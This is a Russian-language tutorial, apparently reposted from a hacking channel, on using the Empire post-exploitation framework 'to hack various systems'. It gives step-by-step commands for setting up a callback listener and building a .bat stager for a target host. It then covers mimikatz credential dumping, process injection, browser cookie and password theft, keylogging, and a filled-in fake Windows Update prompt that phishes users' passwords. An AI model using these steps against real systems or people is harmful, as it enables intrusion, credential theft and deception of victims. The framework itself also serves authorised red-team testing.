Что такое фреймворк Empire и как им пользоваться для взлома различных систем. Часть 1

Что такое фреймворк Empire и как им пользоваться для взлома различных систем. Часть 1

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Оригинальный проект PowerShell Empire уже давно не поддерживается, так что речь пойдет о его форке от BC-SECURITY. Этот форк продолжает развиваться и обновляться.

Многие слышали про Empire — инструмент постэксплуатации Windows, Linux и macOS. В статье я затрону все аспекты работы с ним, а также расскажу, какие именно функции фреймворка мы часто используем на практике. И даже если ты опытный пентестер или редтимер, я думаю, ты отметишь для себя что-то новое и полезное.

Установка Empire 

Если ты используешь Kali Linux, то для установки этого чудо-фреймворка потребуется выполнить всего лишь одну команду: 

sudo apt install powershell-empire 

Если на твоем компе другая система, нужно скачать файлы проекта и установить их вручную. 

git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh 

Собственно, все: фреймворк Empire установлен в твоей системе. 

Получение точки опоры 

Перед тем как мы рассмотрим сам программный комплекс, давай разберемся со следующими понятиями: 

  • Listener — это локальный процесс, ожидающий бэкконнект с удаленного атакуемого хоста;
  • Stager — загрузчик Agent’a, то есть полезной нагрузки на удаленный атакуемый хост;
  • Agent — процесс (на удаленном атакуемом хосте), который соединяется с нашим Listener’ом;
  • Module — код, выполняемый Agent’ом для достижения определенных целей. 

Запустим Empire командой powershell-empire. Ты увидишь такое окно.

Для получения точки опоры используется следующий порядок действий: создание Listener’a -> создание Stager’a для этого Listener’a -> запуск нагрузки на удаленном хосте (создание Agent’a). 

Listener 

Для создания Listener’a нужно войти в соответствующий интерфейс командой listeners.

Сейчас у нас нет активных листенеров. Создать его можно командой uselistener, но давай посмотрим, какие типы листенеров нам может предложить Empire. 

uselistener <TAB>

Поясню, что здесь что: 

  • dbx — Dropbox-листенер (хорош, чтобы уклоняться от обнаружения, но требует токен для Dropbox API);
  • http — обычный HTTP/HTTPS-листенер;
  • http_com — HTTP/HTTPS-листенер, использующий объект IE COM;
  • http_foreign — HTTP/HTTPS-листенер для сторонней нагрузки Empire;
  • http_hop — HTTP/HTTPS-листенер для перенаправления команд другому листенеру, что помогает скрыть исходный IP (требует параметр RedirectListener);
  • http_mapi — HTTP/HTTPS-листенер для использования с Liniaal, что позволит получить управление через Exchange-сервер;
  • meterpreter — HTTP/HTTPS-листенер для сторонней нагрузки Meterpreter;
  • onedrive — onedrive-листенер (требует регистрацию приложения https://apps.dev.microsoft.com)
  • redirector — инструмент для перехода от одного агента к другому. 

С типами листенеров разобрались, а теперь давай посмотрим, как с ними работать. Для начала выбираем тип (для примера возьмем самый простой — HTTP). 

uselistener http

Получить справку по выбранному листенеру можно командой nfo.

Использованием прокси уже никого не удивишь, но мы можем назначить дату, когда листенер будет удален, а еще определенные часы работы (это очень удобно!). При использовании HTTPS нужно также указать путь к сертификату. Но теперь к основному: назначим имя листенера, адрес хоста для бэкконнекта и порт. 

set Name l1
set Host http://192.168.6.1
set Port 4321

И запустим листенер командой execute.

Теперь в интерфейсе listeners мы наблюдаем только что запущенный листенер.

Переходим ко второй стадии.

Stager 

Давай по аналогии с листенером выберем тип stager’a (далее — нагрузки). Сделать это можно командой usestager.

Нагрузки есть для разных платформ: multi (кросс-платформенные), macOS и Windows. А еще существует несколько типов нагрузки: 

  • bash — обычный Bash-скрипт;
  • launcher — так называемый one-liner-код на определенном скриптовом языке;
  • macro — макрос для офисных приложений;
  • pyinstaller — ELF-файл, собранный с помощью PyInstaller;
  • war — просто набор байтов для модернизации нагрузки;
  • applescript — файл AppleScript;
  • application — файл Application;
  • ducky — так называемый скрипт Rubber Ducky;
  • dylib — динамическая библиотека macOS;
  • jar — нагрузка в JAR-формате;
  • `machomacOS — офисный макрос для macOS;
  • pkg — установщик PKG (должен быть скопирован в директорию /Applications);
  • safari_launcher — HTML-нагрузка;
  • shellcode — обычный Windows-шелл;
  • teensy — Teensy-скрипт;
  • backdoorLnkMacro — файл .lnk для загрузки и запуска приложения;
  • bunny — скрипт Bash bunny;
  • csharp_exe — приложение PowerShell/C#;
  • dll — нагрузка в виде DLL;
  • hta — HTA-нагрузка для IE;
  • macroless_msword — документ macroless;
  • wmic — XSL-нагрузка для wmic.exe (отсутствует в оригинальном Empire). 

Давай выберем тип нагрузки. Возьмем, к примеру, bat-файл для Windows.

Как и в случае с листенером, посмотрим параметры командой info.

Что нам предлагает Empire? Снова традиционная возможность настроить прокси, но вот встроенная функция обфускации (к сожалению, только для PowerShell-скриптов) — это вещь приятная. Мы можем указать, где сохранить итоговый файл, а также настроить удаление файла после запуска. Давай укажем листенер и путь к итоговому файлу, после чего создадим stager. 

set Listener l1
set OutFile /home/ralf/tmp/l1.bat
execute

Файл с нагрузкой создан по указанному пути.

Agent 

Нам нужно выполнить bat-файл на целевом хосте. Ты увидишь сообщение о подключении.

Перейдем в главное меню и выполним команду agents, чтобы увидеть все агенты.

Для удобства можно переименовать агент командой rename и перейти в интерфейс управления агентом (команда interact). 

rename LVKP4HN3 al1
interact al1

Мы в системе, теперь пройдемся по самым интересным модулям, которые реально находят применение и используются нашей командой на практике.

Эксплуатация и постэксплуатация Windows с Empire

Базовые опции 

К базовым опциям относятся те функции, которые реализованы в Empire без участия сторонних модулей. Так что пробежимся по тем, которые приходится часто применять: 

  • sysinfo — предоставляет информацию о системе на удаленном хосте;
  • download/upload — позволяет загрузить файлы на удаленный хост или с него (подобные команды реализованы уже, наверное, везде);
  • sleep — устанавливает интервал обмена сообщениями с агентом. Таким образом, если установить интервал в 60 секунд, то агент будет принимать от оператора команду и загружать ее в очередь, а затем раз в минуту очищать очередь и предоставлять информацию;
  • steal_token — модуль имперсонации токена доступа;
  • shell [cmd] — позволяет выполнить команду черед cmd.exe;
  • ps — выводит список процессов с указанием имени процесса, его PID, пользователя, в контексте которого работает процесс, и занимаемую процессом память;
  • psinject — внедряет агент в другой процесс;
  • scriptimport — позволяет загрузить PowerShell-скрипт в память;
  • mimikatz — простое быстрое выполнение sekurlsa::logonpasswords;
  • creds — локальное хранилище учетных данных (паролей, хешей), предоставляет оперативную работу с ними. Хеши заполняются автоматически при использовании разных модулей, но также возможно их ручное добавление и удаление. К примеру, упомянутая команда mimikatz собрала некоторые учетные данные. Давай взглянем на них.

Это не все «быстрые команды» Empire, а, как упоминалось, те, которые мы используем постоянно. 

Для подключения дополнительных модулей следует использовать команду usemodule, а если тебе необходимо найти какой-то модуль, для этого есть команда searchmodule.

Раздел collection 

Давай рассмотрим модули из данного раздела, которыми мы часто пользуемся. Так как почти всегда приходится вытаскивать пароли и данные из браузеров, тут на помощь приходят следующие инструменты: 

  • collection/ChromeDump;
  • collection/FoxDump;
  • collection/SharpChromium. 

Запустим модуль командой run или execute. При этом Empire сообщает, что использование данного модуля нарушает правила скрытности, и спрашивает, хотим ли мы продолжить.

В результате мы получаем все куки, историю запросов и сохраненные учетные данные.

Следующие интересные возможности — искать файлов с помощью модуля collection/file_finder и получить дамп нужного процесса с помощью модуля collection/minidump. А для отслеживания вводимой пользователем информации можно легко активировать кейлоггер — collection/keylogger. Для примера откроем блокнот и напишем слово test — это действие будет зафиксировано Empire.

С помощью collection/clipboard_monitor мы отслеживаем, что попадает в буфер обмена.

Наконец, самые замечательные функции этого раздела связаны с фишингом. Когда нам необходимо получить пароль и все потенциальные точки входа не прошли проверку, можно «попросить» у пользователя его учетные данные! Сделать это помогают модули collection/prompt или collection/toasted. Я приведу пример использования toasted: на экране юзера выводится уведомление (можно придумать какие угодно условия, но мы используем перезагрузку, так как никто не захочет прерывать работу с документами), на которое он реагирует. Независимо от его выбора появится окно авторизации, учетные данные из которого мы и получим. 

usemodule collection/toasted
set ToastTitle "Ваш сеанс работы будет прекращен"
set ToastMessage "Cистема будет перезагружена через 5 минут. Хотите ли вы отложить перезагрузку?"
set Application "Служба обновлений Windows"
set CredBoxTitle "Вы уверены, что хотите перезагрузить ваш ПК?"
set CredBoxMessage "Для выполнения данного действия требуется аутентификация"
run

При этом у данных модулей есть параметр VerifyCreds, установив который в True мы обяжем Empire проверить эти учетные данные на подлинность, перед тем как показать их нам. Если пользователь ввел некорректные учетные данные или просто опечатался, Empire запросит их снова.

Продолжение следует…

Источник


Report Page